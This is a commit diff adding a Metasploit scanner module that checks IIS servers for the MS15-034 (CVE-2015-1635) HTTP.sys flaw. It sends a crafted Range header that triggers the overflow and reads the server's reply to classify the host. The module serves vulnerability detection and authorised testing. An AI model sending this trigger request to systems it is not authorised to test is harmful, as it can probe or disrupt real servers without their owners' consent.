Add MS15-034 check (CVE-2015-1635)

Author: wchen-r7

modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb

@@ -0,0 +1,84 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Scanner
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'MS15-034 HTTP Protocol Stack Handling Vulnerability',
+      'Description'    => %q{
+        This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
+        vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
+        execution.
+      },
+      'Author'         =>
+        [
+          'billbillthebillbill', # He did all the work (see the pastebin code)
+          'sinn3r'               # MSF version of bill's work
+        ],
+      'References'     =>
+        [
+          ['CVE', '2015-1635'],
+          ['MSB', 'MS15-034'],
+          ['URL', 'http://pastebin.com/ypURDPc4']
+        ],
+      'License'        => MSF_LICENSE
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'The base path', '/'])
+      ], self.class)
+
+    deregister_options('RHOST')
+  end
+
+  def run_host(ip)
+    code = check_host(ip)
+    case code
+    when Exploit::CheckCode::Vulnerable
+      print_good("#{ip}:#{rport} - #{code.last}")
+    else
+      print_status("#{ip}:#{rport} - #{code.last}")
+    end
+  end
+
+  def check_host(ip)
+    uri = target_uri.path
+
+    res = send_request_raw({'uri'=>uri})
+    unless res
+      vprint_error("#{ip}:#{rport} - Connection timed out")
+      return Exploit::CheckCode::Unknown
+    end
+
+    if !res.headers['Server'].include?('Microsoft-IIS')
+      vprint_error("#{ip}:#{rport} - Target isn't IIS")
+      return Exploit::CheckCode::Safe
+    end
+
+    res = send_request_raw({
+      'uri' => uri,
+      'method' => 'GET',
+      'vhost'  => 'stuff',
+      'headers' => {
+        'Range' => 'bytes=0-18446744073709551615'
+      }
+    })
+    if res && res.body.include?('Requested Range Not Satisfiable')
+      return Exploit::CheckCode::Vulnerable
+    elsif res && res.body.include?('The request has an invalid header name')
+      return Exploit::CheckCode::Safe
+    else
+      return Exploit::CheckCode::Unknown
+    end
+  end
+
+end